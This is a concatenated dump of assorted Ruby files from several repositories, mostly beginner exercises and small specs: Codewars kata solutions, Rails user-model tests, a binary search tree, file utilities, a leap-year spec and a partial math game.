i = @wires.chars.index(wire)
if wire.size > 1
"Please enter a single character."
elsif i.nil?
wire
elsif i.even?
@wires[i+1]
else i.odd?
@wires[i-1]
end
end
end
# codewars kata: pentabonacci
# http://www.codewars.com/kata/55c9172ee4bb15af9000005d/train/ruby
def count_odd_pentaFib(n)
array = [0,1,1,2,4,8]
(5..n).each do |i|
array[i] = array[i-5] + array[i-4] + array[i-3] + array[i-2] + array[i-1]
end
array.select{|i| i.odd?}.uniq!.count
end
# codewars kata: counting in the amazon
# http://www.codewars.com/kata/55b95c76e08bd5eef100001e/train/ruby
def count_arara(n)
arara_array = []
(n/2).times{ |i| arara_array << "adak" }
(n%2).times{ |i| arara_array << "anane" }
arara_array.join(" ")
end
#refactored...
def count_arara(n)
(["adak"] * (n/2) + ["anane"] * (n%2)).join(" ")
end
# codewars kata: is a number prime?
# http://www.codewars.com/kata/is-a-number-prime
def isPrime(num)
# returns whether num is a prime number
num > 1 && (2...num).none?{|n| num % n == 0}
end
# codewars kata: vasya and stairs
# http://www.codewars.com/kata/vasya-and-stairs/train/ruby
def numberOfSteps(steps, m)
((steps/2 + steps%2)..steps).find{ |n| n%m==0 } || -1
end
# codewars kata: sum of top-left to bottom-right diagonals
# http://www.codewars.com/kata/5497a3c181dd7291ce000700/train/ruby
def diagonalSum(matrix)
(0...matrix.size).map { |i| matrix[i][i] }.reduce(&:+)
end
# codewars kata: musical pitch classes
# http://www.codewars.com/kata/musical-pitch-classes/solutions/ruby/me/best_practice
def pitch_class(note)
array_with_sharps = [
'B#', 'C#', 'D', 'D#', 'E', 'E#', 'F#', 'G', 'G#', 'A', 'A#', 'B']
array_with_flats = [
'C','Db', 'D', 'Eb', 'Fb', 'F', 'Gb', 'G', 'Ab', 'A', 'Bb', 'Cb']
array_with_sharps.index(note) ||
array_with_flats.index(note)
end
| true
|
5a1143e6972f664814834a76056922b39b8295d8
|
Ruby
|
ghulammurtaza27/jungle-rails
|
/spec/models/user_spec.rb
|
UTF-8
| 2,536
| 2.59375
| 3
|
[] |
no_license
|
require 'rails_helper'
RSpec.describe User, type: :model do
describe 'Validations' do
# validation tests/examples here
it 'should save a user when name, email, and password are provided properly' do
user = User.create(
first_name: "Ghulam",
last_name: "Murtaza",
email: "gm@gm.com",
password: "gmc",
password_confirmation: "gmc"
)
expect(user).to be_valid
end
it 'must ensure that password and password_confirmation fields match' do
user = User.create(
first_name: "Ghulam",
last_name: "Murtaza",
email: "gm@gm.com",
password: "gmc",
password_confirmation: "oopsie"
)
expect(user).to_not be_valid
end
it 'should requore both password and password confirmation fields to be filled' do
user = User.create(
first_name: "Ghulam",
last_name: "Murtaza",
email: "gm@gm.com",
password: nil,
password_confirmation: "gmc"
)
expect(user).to_not be_valid
end
it 'must ensure that emails are unique (not case-sensitive)' do
user1 = User.create(
first_name: "Ghulam",
last_name: "Murtaza",
email: "gm@gm.com",
password: "gmco",
password_confirmation: "gmco"
)
user2 = User.create(
first_name: "Ghulam",
last_name: "Murtaza",
email: "gm@gm.com",
password: "gmco",
password_confirmation: "gmco"
)
expect(user2).to_not be_valid
end
it 'must require name and email' do
user = User.new(
first_name: nil,
last_name: nil,
email: nil,
password: "oops",
password_confirmation: "oops"
)
expect(user).to_not be_valid
end
it 'must have a minimum length on password' do
user = User.new(
first_name: "Ghulam",
last_name: "Murtaza",
email: "gm@gm.com",
password: "g",
password_confirmation: "g"
)
expect(user).to_not be_valid
end
end
describe '.authenticate_with_credentials' do
it "should authenticate if credentials exist in database" do
user = User.create(
first_name: "Ghulam",
last_name: "Murtaza",
email: "gm@gm.com",
password: "gmc",
password_confirmation: "gmc"
)
authenticate = User.authenticate_with_credentials(user.email, user.password)
expect(authenticate).to_not be_valid
end
end
end
| true
|
08af5ac8838e15f64ef42b4a51b434345d4a93b5
|
Ruby
|
yazseyit77/binary-search-tree-online-web-ft-081219
|
/binary_search_tree.rb
|
UTF-8
| 457
| 3.546875
| 4
|
[
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-public-domain"
] |
permissive
|
class BST
attr_accessor :data, :right, :left
def initialize(data)
@data = data
end
def insert(n)
if n <= @data
if @left.nil?
@left = BST.new(n)
else
@left.insert(n)
end
else
if @right.nil?
@right = BST.new(n)
else
@right.insert(n)
end
end
end
def each(&block)
@left.each(&block) if @left
block.call(@data)
right.each(&block) if @right
end
end
| true
|
36f5bacac8bf38bdf1978642c6c83e90bada7c75
|
Ruby
|
mbme/cman
|
/lib/cman/utils.rb
|
UTF-8
| 873
| 2.796875
| 3
|
[
"MIT"
] |
permissive
|
require 'fileutils'
require 'pathname'
module Cman
# some common utils
module Utils
def copy_file(src, dst)
if File.file?(src)
FileUtils.cp src, dst
elsif File.directory?(src)
copy_dir src, dst
end
end
def copy_dir(src, dst)
dst_path = Pathname.new dst
src_path = Pathname.new src
Dir.glob("#{src}/**/*") do |file|
next unless File.file? file
relpath = Pathname.new(file).relative_path_from(src_path)
file_dst = dst_path.join(relpath).to_path
FileUtils.mkdir_p File.dirname(file_dst)
FileUtils.cp file, file_dst
end
end
def build_path(file)
path = Pathname(file).cleanpath
unless path.absolute?
base = Pathname(ENV['PWD']) or Pathname.pwd
path = (base + path).cleanpath
end
path.to_s
end
end
end
| true
|
66f509f6fb4ffc10400e36f9446aba8bbe456d0b
|
Ruby
|
tvaroglu/backend_mod_1_prework
|
/section1/exercises/learn_ruby_the_hard_way/ex15/ex15.rb
|
UTF-8
| 745
| 4.125
| 4
|
[] |
no_license
|
#Supply file name as first ARG for script
filename = ARGV.first
#Assign file (ARG) as a new variable which has the 'open' method called upon it
txt = open(filename)
#Print the filename (ARG) interpolated into a string for the user
puts "Here's your file #{filename}:"
#Print the text previously assigned to the 'txt' variable
print txt.read
#Print another string prompt for the user
print "Type the filename again: "
#User is prompted to re-enter the file name
file_again = $stdin.gets.chomp
#'file_again' variable that the user was previously prompted for has the 'open' method called upon it once more
txt_again = open(file_again)
#Print the text assigned to the 'txt_again' variable that the user previously entered
print txt_again.read
| true
|
a48070dcd18cd69fd75c8211a619074cb6db59f1
|
Ruby
|
bwlv/debt_ceiling
|
/spec/debt_ceiling_spec.rb
|
UTF-8
| 1,373
| 2.578125
| 3
|
[
"MIT"
] |
permissive
|
require 'spec_helper'
require 'debt_ceiling'
describe DebtCeiling do
it 'has failing exit status when debt_ceiling is exceeded' do
DebtCeiling.configure {|c| c.debt_ceiling = 0 }
expect(DebtCeiling.debt_ceiling).to eq(0)
expect { DebtCeiling.calculate('.', preconfigured: true) }.to raise_error
end
it 'has failing exit status when target debt reduction is missed' do
DebtCeiling.configure {|c| c.reduction_target =0; c.reduction_date = Time.now.to_s }
expect(DebtCeiling.debt_ceiling).to eq(nil)
expect { DebtCeiling.calculate('.', preconfigured: true) }.to raise_error
end
it 'returns quantity of total debt' do
expect(DebtCeiling.calculate('.')).to be > 5 # arbitrary non-zero amount
end
it 'adds debt for todos with specified value' do
todo_amount = 50
DebtCeiling.configure {|c| c.cost_per_todo = todo_amount }
expect(DebtCeiling.calculate('spec/support/todo_example.rb')).to be todo_amount
end
it 'allows manual debt with TECH DEBT comment' do
expect(DebtCeiling.calculate('spec/support/manual_example.rb')).to be 100 # hardcoded in example file
end
it 'allows manual debt with arbitrarily defined comment' do
DebtCeiling.configure {|c| c.manual_callouts += ['REFACTOR'] }
expect(DebtCeiling.calculate('spec/support/manual_example.rb')).to be 150 # hardcoded in example file
end
end
| true
|
7a3cb2ec19acf3f042d4c6624ada78e38629341d
|
Ruby
|
html/sup
|
/test/unit/post_test.rb
|
UTF-8
| 567
| 2.515625
| 3
|
[] |
no_license
|
require 'test_helper'
class PostTest < ActiveSupport::TestCase
context "Post::list" do
should "return 5 items" do
20.times do
Post.make
end
assert_equal Post.list.size, 5
end
should "order by id DESC" do
3.times do |i|
Post.make :date => Date.today + (3 - i).hours
end
assert_equal Post.list.first, Post.last(:order => 'date')
end
should "return correct data for pages" do
20.times do
Post.make
end
assert_not_equal Post.list(1), Post.list(2)
end
end
end
| true
|
b47415822a40da2f625a991bcf320c5dcded059e
|
Ruby
|
molawson/repeatable
|
/spec/repeatable/expression/weekday_spec.rb
|
UTF-8
| 2,700
| 3.03125
| 3
|
[
"MIT"
] |
permissive
|
# typed: false
require "spec_helper"
module Repeatable
module Expression
describe Weekday do
subject { described_class.new(weekday: 4) }
it_behaves_like "an expression"
describe "#include?" do
it "returns true for dates matching the weekday given" do
expect(subject).to include(::Date.new(2015, 1, 1))
end
it "returns false for dates not matching the weekday given" do
expect(subject).not_to include(::Date.new(2015, 1, 2))
end
end
describe "#to_h" do
it "returns a hash with the class name and arguments" do
expect(subject.to_h).to eq(weekday: {weekday: 4})
end
end
describe "#==" do
it "returns true if the expressions have the same argument" do
expect(described_class.new(weekday: 1)).to eq(described_class.new(weekday: 1))
end
it "returns false if the expressions do not have the same argument" do
expect(described_class.new(weekday: 1)).not_to eq(described_class.new(weekday: 2))
end
it "returns false if the given expression is not a Weekday" do
expect(described_class.new(weekday: 1)).not_to eq(DayInMonth.new(day: 1))
end
end
describe "#eql?" do
let(:expression) { described_class.new(weekday: 1) }
it "returns true if the expressions have the same argument" do
other_expression = described_class.new(weekday: 1)
expect(expression).to eql(other_expression)
end
it "returns false if the expressions do not have the same argument" do
other_expression = described_class.new(weekday: 2)
expect(expression).not_to eql(other_expression)
end
it "returns false if the given expression is not a Weekday" do
other_expression = DayInMonth.new(day: 1)
expect(expression).not_to eql(other_expression)
end
end
describe "#hash" do
let(:expression) { described_class.new(weekday: 1) }
it "of two expressions with the same arguments are the same" do
other_expression = described_class.new(weekday: 1)
expect(expression.hash).to eq(other_expression.hash)
end
it "of two expressions with different arguments are not the same" do
other_expression = described_class.new(weekday: 2)
expect(expression.hash).not_to eq(other_expression.hash)
end
it "of two expressions of different types are not the same" do
other_expression = DayInMonth.new(day: 1)
expect(expression.hash).not_to eq(other_expression.hash)
end
end
end
end
end
| true
|
8c76340e5f04eddfb2f007be1cfe05de192d7cc2
|
Ruby
|
Dmitry-Pryshchepa/log_parser
|
/lib/log_parser/log_line.rb
|
UTF-8
| 270
| 2.671875
| 3
|
[] |
no_license
|
# frozen_string_literal: true
module LogParser
class LogLine
private_class_method :new
def self.call(file_line)
new(*file_line.split)
end
attr_reader :url, :ip
def initialize(url, ip)
@url = url
@ip = ip
end
end
end
| true
|
0ed237efc4f9306511b416a90b49384c96052ebf
|
Ruby
|
prrn-pg/Shojin
|
/Practice/atcoder/ABC/040/src/c.rb
|
UTF-8
| 1,232
| 3.046875
| 3
|
[] |
no_license
|
# 再帰の深さの上限に引っかかるのでなんとかするやつ
if !ENV['RUBY_THREAD_VM_STACK_SIZE']
#Rubyパスを取得するには、rbconfigかrubygemsを使う。AtCoderでは--disable-gemsされているので、require 'rubygems'は必須である。
#require 'rbconfig';RUBY=File.join(RbConfig::CONFIG['bindir'],RbConfig::CONFIG['ruby_install_name'])
require 'rubygems';RUBY=Gem.ruby
exec({'RUBY_THREAD_VM_STACK_SIZE'=>'100000000'},RUBY,$0) #100MB
end
# 引数にコストを含めない大事(🐜本曰く)
N = gets.to_i
@arr = gets.chomp.split.map(&:to_i)
@table = Array.new(N+1).map{Array.new(3, nil)}
# i番目までで
def rec(i, step)
return (@arr[i]-@arr[i-step]).abs if i==N-1 # 現在地点が終端なのでstep前との差を返す
return (@arr[N-1]-@arr[N-2]).abs if i==N # 現在地点が終端を越えてしまった場合はとうぜん最後の2値の差
return @table[i][step] if @table[i][step] != nil
ret = (@arr[i] - @arr[i-step]).abs # 現在地点でのstep前との差
ret += [rec(i+1, 1), rec(i+2, 2)].min # 次の地点へ移動・ステップ数を意識
@table[i][step] = ret
return ret
end
puts [rec(1, 1), rec(2, 2)].min
| true
|
abf700fcaee8b3580707d88ad0ffdd9e1a2b33ef
|
Ruby
|
georgehwho/ruby-exercises
|
/initialize/lib/monkey.rb
|
UTF-8
| 148
| 2.875
| 3
|
[] |
no_license
|
class Monkey
attr_reader :name, :type, :favorite_food
def initialize(a)
@name = a[0]
@type = a[1]
@favorite_food = a[2]
end
end
| true
|
7b5eb8d508cf3375c0890b666da0a981168e0af2
|
Ruby
|
brooklynresearch/Deuces
|
/db/seeds.rb
|
UTF-8
| 498
| 2.78125
| 3
|
[] |
no_license
|
row_count = 9
column_count = 17
rows_with_large = [0,2,4,6]
row_count.times do |r|
if rows_with_large.include?(r)
#create large locker- in first column
Locker.create(row: r, column: 0, large: true)
#no locker in second column
#
#create 3rd - n column lockers for row
(2...column_count).each do |c|
Locker.create(row: r, column: c, large: false)
end
else
column_count.times do |c|
Locker.create(row: r, column: c, large: false)
end
end
end
| true
|
dde29e7429ffa34167dab1806d3d5d5b8610d0fb
|
Ruby
|
kojiro-abk/rails-simple-airbnb
|
/db/seeds.rb
|
UTF-8
| 1,651
| 2.59375
| 3
|
[] |
no_license
|
# This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup).
#
# Examples:
#
# movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }])
# Character.create(name: 'Luke', movie: movies.first)
puts "Cleaning the db..."
Flat.destroy_all
puts "db is clean"
puts "creating restaurants..."
Flat.create!(
name: 'Light & Spacious Garden Flat London',
address: '10 Clifton Gardens London W9 1DT',
description: 'A lovely summer feel for this spacious garden flat. Two double bedrooms, open plan living area, large kitchen and a beautiful conservatory',
price_per_night: 75,
number_of_guests: 3
)
Flat.create!(
name: 'Flat Versailles',
address: 'Av Nestor Clifton 540 Curitiba',
description: 'Era um Flat que tinha em Curitiba bom e relativamente barato e, principalmente, pertinho do Serpro',
price_per_night: 35,
number_of_guests: 2
)
Flat.create!(
name: 'Night Espace Mind Flat France',
address: 'Clifford goes to Space 99 Paris',
description: 'A new garden steamer en San Francisco goes to two double bedrooms, open plan living area, no kitchen and a beautiful conservatory',
price_per_night: 45,
number_of_guests: 4
)
Flat.create!(
name: 'This will help us to get started',
address: 'Avenida Rua da Frente, 100, Florida SE',
description: 'O mais perto da Rua da Frente e tem two double bedrooms, open plan living area, com a maior kitchen do mundo a beautiful conservatory',
price_per_night: 85,
number_of_guests: 5
)
puts "finished"
| true
|
bb9f53da02e0dfc840ce1f2b2b883c66c1836f35
|
Ruby
|
BrandyMint/auto_logger
|
/lib/auto_logger.rb
|
UTF-8
| 1,817
| 2.609375
| 3
|
[
"MIT"
] |
permissive
|
require 'logger'
require 'active_support'
require 'active_support/core_ext/string/inflections'
require 'beautiful/log'
require "auto_logger/version"
require "auto_logger/formatter"
require "auto_logger/named"
# Миксин добавляет в класс метод `logger` который пишет лог
# в файл с названием класса
#
#
# Использование:
#
# class CurrencyRatesWorker
# include AutoLogger
#
# def perform
# logger.info 'start'
# Чтобы указать имя лог файла используйте AutoLogger::Named:
#
# class CurrencyRatesWorker
# include AutoLogger::Named.new(name: 'filename')
module AutoLogger
DEFAULT_LOG_DIR = './log'
mattr_accessor :log_dir, :log_formatter, :logger_builder, :_cached_logger
def logger
_cached_logger ||= _build_auto_logger
end
private
# Логируем вместе с временем выполнения
#
def bm_log(message)
res = nil
bm = Benchmark.measure { res = yield }
logger.info "#{message}: #{bm}"
res
end
def _auto_logger_tag
([Class, Module].include?(self.class) ? self.name : self.class.name).underscore.gsub('/','_')
end
def _auto_logger_file
file = "#{_auto_logger_tag}.log"
if log_dir.present?
File.join(log_dir, file)
elsif defined? Rails
Rails.root.join 'log', file
else
File.join(DEFAULT_LOG_DIR, file)
end
end
def _log_formatter
@log_formatter || !defined?(Rails) || Rails.env.test? ? Logger::Formatter.new : Formatter.new
end
def _build_auto_logger
if logger_builder.nil?
ActiveSupport::Logger.new(_auto_logger_file).
tap { |logger| logger.formatter = _log_formatter }
else
logger_builder.call(_auto_logger_tag, _log_formatter)
end
end
end
| true
|
7a74d323f7bb3d1e11226523c888784d727b8fe5
|
Ruby
|
githubtest96/Ani-Test
|
/app/controllers/sessions_controller.rb
|
UTF-8
| 1,420
| 2.578125
| 3
|
[] |
no_license
|
class SessionsController < ApplicationController
def index
@sessions = Session.order(start_date: :desc).all
end
def new
@cinemas = Cinema.order(name: :desc).all
end
def create
_start_date = DateTime.parse(params[:startDate])
_cinemaId = params[:cinemaId]
_hall_id = params[:hallId]
_film_id = params[:filmId]
_hall_sessions = Session.where(cinema_id: _cinemaId, hall_id: _hall_id).select(:start_date)
_film = Film.find(_film_id)
_end_date = get_session_end_date(_start_date, _film.duration)
if is_start_date_valid(_start_date, _end_date, _hall_sessions)
_newSession = Session.create(cinema_id: _cinemaId, hall_id: _hall_id, film_id: _film_id, start_date: _start_date)
end
end
private
def is_start_date_valid(_start_date, _end_date, _hall_sessions)
_hall_sessions.each do |session|
_session_end_date = get_session_end_date(session.start_date, session.film.duration)
if (_start_date > session.start_date && _start_date < _session_end_date) || (_end_date > session.start_date && _end_date < _session_end_date)
return false
end
end
return true
end
def get_session_end_date(_start_date, _duration)
_duration_hour = _duration.hour
_duration_min = _duration.min + 15
_end_date = _start_date + _duration_hour.hours + _duration_min.minutes
return _end_date
end
end
| true
|
915eb4142c535b0e1f21a892af55bc40d5a5b694
|
Ruby
|
degica/openlogi
|
/spec/openlogi/base_object_spec.rb
|
UTF-8
| 1,816
| 2.71875
| 3
|
[
"MIT"
] |
permissive
|
require "spec_helper"
class DummyObject < Openlogi::BaseObject
property :bar
end
describe Openlogi::BaseObject do
describe ".new" do
it "issues warning about attributes not defined as properties on object" do
expect_any_instance_of(DummyObject).to receive(:warn).once.with("foo is not a property of DummyObject and will be ignored.")
object = DummyObject.new(foo: "foo", bar: "bar")
end
end
describe "#valid?" do
it "returns true if object has no error" do
object = Openlogi::BaseObject.new(error: nil)
expect(object.valid?).to eq(true)
end
it "returns false if object has an error" do
object = Openlogi::BaseObject.new(error: "validation_failed")
expect(object.valid?).to eq(false)
end
it "returns true if object has empty errors" do
object = Openlogi::BaseObject.new(errors: {})
expect(object.valid?).to eq(true)
end
it "returns true if object errors is nil" do
object = Openlogi::BaseObject.new({})
expect(object.valid?).to eq(true)
end
it "returns false if object has errors" do
object = Openlogi::BaseObject.new(errors: { "name" => [ "Already exist" ] })
expect(object.valid?).to eq(false)
end
end
describe "#errors" do
it "returns errors object with full messages" do
object = Openlogi::BaseObject.new(errors: {
"identifier" => ["order noを指定しない場合は、identifierを指定してください。"],
"order_no" => ["identifierを指定しない場合は、order noを指定してください。"]
})
expect(object.errors.full_messages).to eq("order noを指定しない場合は、identifierを指定してください。identifierを指定しない場合は、order noを指定してください。")
end
end
end
| true
|
6a31f6a469b27b5ad792a581f39b8e3da3552ecc
|
Ruby
|
Joanf81/citytalk
|
/app/models/articles/article.rb
|
UTF-8
| 564
| 2.5625
| 3
|
[] |
no_license
|
module Articles
class Article < ApplicationRecord
has_many :article_editions
has_many :users, through: :article_editions
validates :article_editions, length: { minimum: 1 }
attr_accessor :picture
attr_accessor :content
def article_owner
article_editions.first.user
end
def is_article_owner? user
article_owner == user
end
def last_edition
article_editions.last
end
def picture
last_edition.picture
end
def content
last_edition.content
end
def last_modification_date
last_edition.created_at
end
end
end
| true
|
bff2df978e5a9c8e547393dac23b18cdbc19dc9e
|
Ruby
|
r-osoriobarra/desafios_hashes_01-06-21
|
/ejercicio_propuesto.rb
|
UTF-8
| 314
| 3.390625
| 3
|
[] |
no_license
|
#ejercicio propuesto
100.times do |e|
num = e+1
if num % 3 == 0
if num % 5 == 0
pp "#{num} es divisible por ambos"
else
pp "#{num} es divisible por 3"
end
elsif num % 5 == 0
pp "#{num} es divisible por 5"
else
pp "#{num}"
end
end
| true
|
53daf41e11f01d84c96753c20738c4855b392702
|
Ruby
|
GoBeyond87/URI-Ruby
|
/1008.rb
|
UTF-8
| 161
| 2.921875
| 3
|
[] |
no_license
|
# frozen_string_literal: true
f = gets.to_i
h = gets.to_i
v = gets.to_f
s = h * v
puts "NUMBER = #{f}"
print 'SALARY = U$ '
puts format('%.2f', s)
| true
|
ce45fe4b4dd1e0cd526bd6932597b42cbca82068
|
Ruby
|
oguratakayuki/code_test
|
/ruby/basis/dump_test.rb
|
UTF-8
| 463
| 3.59375
| 4
|
[] |
no_license
|
class Hoge
attr_accessor :name
def initialize
@name = 'hoge'
end
end
#h = Hoge.new
#c_name = h.name
#
##破壊的メソッドを使うと書き換わる
#h.name.replace('piyo')
#puts c_name
#
#
#
#h2 = Hoge.new
#c_name2 = h2.name.dup
#
##これは大丈夫
#h2.name.replace('piyo')
#puts c_name2
h =Hoge.new
h2 =h
h3 =h.dup
puts h.object_id
puts h2.object_id
puts h3.object_id
puts h.name.object_id
puts h2.name.object_id
puts h3.name.object_id
| true
|
df40450afe5ac2bcce44968f7f8fde1ebd03407d
|
Ruby
|
PikachuEXE/stale_options
|
/lib/stale_options/abstract_options.rb
|
UTF-8
| 2,611
| 2.796875
| 3
|
[
"MIT"
] |
permissive
|
module StaleOptions
class AbstractOptions
# Params:
# +record+:: +Object+:: An +Object+, +Array+ or +ActiveRecord::Relation+.
# +options+:: +Hash+::
# * +:cache_by+::
# * +String+ or +Symbol+::
# A name of method which returns unique identifier of object for caching.
#
# For arrays and relations if value is +itself+, then it will be cached as it is,
# otherwise this method will be called on each element.
# Relations will be converted to arrays by calling <tt>#to_a</tt>.
#
# Hint: To cache an array of "simple" objects (e.g. +String+ or +Numeric+) set it to +itself+.
# Default: +:updated_at+.
# * +:last_modified+::
# * +String+ or +Symbol+::
# If +record+ is a relation, then an attribute name.
# If +record+ is an +Array+ or +Object+, then a method name.
# Expected an instance of +ActiveSupport::TimeWithZone+, +DateTime+, +Time+.
# * +ActiveSupport::TimeWithZone+, +DateTime+, +Time+ or +nil+::
# To set +last_modified+.
# Default: +:updated_at+.
def initialize(record, options = {})
@record = record
@options = {
cache_by: :updated_at,
last_modified: :updated_at
}.merge!(options)
end
# Returns options for <tt>ActionController::ConditionalGet#stale?</tt>
def to_h
{ etag: etag, last_modified: nil }.tap do |h|
unless last_modified_opt.nil?
h[:last_modified] = StaleOptions.time?(last_modified_opt) ? last_modified_opt : last_modified
h[:last_modified] = h[:last_modified]&.utc
end
end
end
private
def cache_by_opt
@options[:cache_by]
end
def cache_by_itself?
cache_by_opt.to_s == 'itself'
end
def read_cache_by(obj)
value = obj.public_send(cache_by_opt)
StaleOptions.time?(value) ? value.to_f : value
end
def last_modified_opt
@options[:last_modified]
end
def read_last_modified(obj)
obj.public_send(last_modified_opt)
end
def object_hash(obj)
Digest::MD5.hexdigest(Marshal.dump(obj))
end
def collection_hash(collection)
object_hash(collection.map { |obj| read_cache_by(obj) })
end
protected
def etag
raise NotImplementedError
end
def last_modified
raise NotImplementedError
end
end
end
| true
|
72c25a34c158032e4c555d28e2494e1b19e8aac8
|
Ruby
|
dowism/Coding
|
/Ruby5-8/evenmoreHashPractice.rb
|
UTF-8
| 2,708
| 4.5
| 4
|
[] |
no_license
|
=begin
In this lesson you will take the scattered lines of
this code and reconstruct it into a program that does the following
1. tells the user what is going to happen
2. collects the users classes until they are done
3. collects the users HW for each class.
4. then allows the use to view their hw, change their hw, add a class, or quit.
Reflection questions
1. how do you store a value for a key in an object?
2. Why is the case method best here? compare with if/elif statements
3. why is the first loop started with until false? How does the user get out of that loop?
4. why do we use the .has_key? command in one of the cases?
There is one new method in this program: The case method.
you use it when there are a few different possibilities for a particular object, and for each possibility you want their to be a different action taken by the computer. So you tell the computer what object you are trying to evaluate and give a bunch of options for what to do depending on that that object is.
case object
when condition
then something happens
when condition
then something happens
when condition
then something happens
when condition
then something happens
end
=end
classes = Hash.new("NO HW")
puts "You are going to be keeping track of your HW using this program \n
when you are done with any task type done and you will move onto the next task"
until false
puts "Add a class"
userinput = gets.chomp
if userinput == "done"
break
end
classes[userinput]=[]
puts "You now have #{classes}"
end
puts "Now you are going to put in what HW you have for your class"
classes.each do |session,hw|
puts "In #{session} write your HW"
classhw = gets.chomp
classes[session]=classhw
puts "Your hw in #{session} is to do #{classhw}"
end
until false
puts "What do you want to do? \n Add a class: Type Add \n change HW: Type Change\n Quit: Type Quit\n To check you HW: Type check"
userinput=gets.chomp
case userinput
when "add"
#add how they would add a class
puts "Add a class"
userinput = gets.chomp
classes[userinput]=[]
puts "You now have #{classes}"
when "change"
#add how they would change the hw in a class, check to make sure the class exists first
puts "Which class would you like to change HW in?"
changeHW=gets.chomp
if !classes.has_key?(changeHW)
puts "That class does not exist"
end
if classes.has_key?(changeHW)
puts "What is the HW in #{changeHW}:"
newHW=gets.chomp
classes[changeHW]=newHW
end
when "check"
classes.each do |session,hw|
puts "in #{session} you have #{hw}"
end
when "quit"
#break out of this loop when they quit
break
end
end
| true
|
f2ce25d65ef92e170c4579d1046978c5d6f29542
|
Ruby
|
pete3249/oo-banking-onl01-seng-pt-052620
|
/lib/transfer.rb
|
UTF-8
| 1,456
| 3.375
| 3
|
[
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-public-domain"
] |
permissive
|
require 'pry'
class Transfer
attr_accessor :status
attr_reader :sender, :receiver, :amount
def initialize(sender, receiver, amount)
@sender = sender
@receiver = receiver
@amount = amount
@status = "pending"
end
def valid?
if self.sender.valid? && self.receiver.valid?
return true
else
return false
end
end
def execute_transaction
if self.valid? && self.status == "pending" && sender.balance >= amount
sender.balance = sender.balance - amount
receiver.balance = receiver.balance + amount
self.status = "complete"
else
self.status = "rejected"
"Transaction rejected. Please check your account balance."
end
end
def reverse_transfer
if self.status == "complete"
sender.balance = sender.balance + amount
receiver.balance = receiver.balance - amount
self.status = "reversed"
end
end
end
# describe '#reverse_transfer' do
# it "can reverse a transfer between two accounts" do
# transfer.execute_transaction
# expect(amanda.balance).to eq(950)
# expect(avi.balance).to eq(1050)
# transfer.reverse_transfer
# expect(avi.balance).to eq(1000)
# expect(amanda.balance).to eq(1000)
# expect(transfer.status).to eq("reversed")
# end
# it "it can only reverse executed transfers" do
# transfer.reverse_transfer
# expect(amanda.balance).to eq(1000)
# expect(avi.balance).to eq(1000)
| true
|
942ca033878e36836c01e7d3253cd9bb5a513d7f
|
Ruby
|
ewansheldon/leap-year-kata
|
/spec/year_spec.rb
|
UTF-8
| 575
| 3.109375
| 3
|
[] |
no_license
|
require './lib/year'
describe 'leap_year?' do
it 'returns false if year is not divisible by 4' do
year = Year.new(1997)
expect(year.leap_year?).to equal(false)
end
it 'returns true if year is divisible by 4' do
year = Year.new(1996)
expect(year.leap_year?).to equal(true)
end
it 'returns true if year is divisible by 400' do
year = Year.new(1600)
expect(year.leap_year?).to equal(true)
end
it 'returns false if year is divisible by 100, but not 400' do
year = Year.new(1800)
expect(year.leap_year?).to equal(false)
end
end
| true
|
4a56c42be7a00222256eef8caa36508872d26b6e
|
Ruby
|
charleswang234/Two-Player-Math-Game
|
/main.rb
|
UTF-8
| 745
| 3.671875
| 4
|
[] |
no_license
|
class Player
def initialize(name, lives)
@name = name
@lives = lives
end
end
class Question
attr_accessor :num1, :num2, :sum
def initialize()
@num1 = generate_random
@num2 = generate_random
@sum = total_sum
end
def generate_random
rand(1..20)
end
def total_sum
self.num1 + self.num2
end
def prompt
puts "What does #{num1} plus #{num2} equal?"
end
def new_question
num1 = generate_random
num2 = generate_random
sum = total_sum
end
end
class Turn
attr_accessor :
def initialize()
@player_ask
@player_ans
@answer
end
def get_answer()
end
end
player1 = Player.new("Player 1", 3)
player2 = Player.new("Player 2", 3)
question = Question.new()
| true
|
26ef6c766360486006d4a5aa09f2b699e83586d8
|
Ruby
|
nikhilbelchada/family-tree
|
/spec/command_spec.rb
|
UTF-8
| 2,881
| 2.953125
| 3
|
[] |
no_license
|
require 'command.rb'
require 'command/add.rb'
require 'command/relation.rb'
require 'command/search.rb'
require 'relation.rb'
require 'relation/father.rb'
require 'relation/mother.rb'
require 'relation/child.rb'
require 'relation/sibling.rb'
RSpec.describe Command do
describe "is_valid?" do
context "add" do
it "should return true if valid" do
expect(Command.is_valid?("add juno male")).to eq true
end
it "should return false if not valid" do
expect(Command.is_valid?("addjuno male")).to eq false
end
end
context "relation" do
it "should return true if valid" do
expect(Command.is_valid?("juno as father of uno")).to eq true
expect(Command.is_valid?("juno as mother of uno")).to eq true
expect(Command.is_valid?("juno as daughter of uno")).to eq true
expect(Command.is_valid?("juno as son of uno")).to eq true
expect(Command.is_valid?("juno as sister of uno")).to eq true
expect(Command.is_valid?("juno as brother of uno")).to eq true
end
it "should return false if not valid" do
expect(Command.is_valid?("juno as dono of uno")).to eq false
end
end
describe "get_command_from" do
context "add" do
it "should get command class" do
expect(Command.get_command_from("add juno male")).to eq Command::Add
expect(Command.get_command_from("add ")).to eq Command::Add
end
it "should get nil if invalid text" do
expect(Command.get_command_from("add")).to eq nil
end
end
context "relation" do
it "should get command class" do
expect(Command.get_command_from("juno as father of uno")).to eq Command::Relation
expect(Command.get_command_from("juno as mother of uno")).to eq Command::Relation
expect(Command.get_command_from("juno as son of uno")).to eq Command::Relation
expect(Command.get_command_from("juno as daughter of uno")).to eq Command::Relation
expect(Command.get_command_from("juno as sister of uno")).to eq Command::Relation
expect(Command.get_command_from("juno as brother of uno")).to eq Command::Relation
end
it "should get nil if invalid text" do
expect(Command.get_command_from("juno father of uno")).to eq nil
end
end
context "search" do
it "should get command class" do
expect(Command.get_command_from("get all daughters of juno")).to eq Command::Search
expect(Command.get_command_from("get siblings of juno")).to eq Command::Search
expect(Command.get_command_from("get daughters of juno")).to eq Command::Search
end
it "should get nil if invalid text" do
expect(Command.get_command_from("all daughter of juno")).to eq nil
end
end
end
end
end
| true
|
7b311d2387c4c6362142efd0f064d78c8f892966
|
Ruby
|
mark/shard
|
/lib/shard/cli/fork.rb
|
UTF-8
| 1,343
| 2.71875
| 3
|
[
"MIT"
] |
permissive
|
module Shard::CLI
class Fork
################
# #
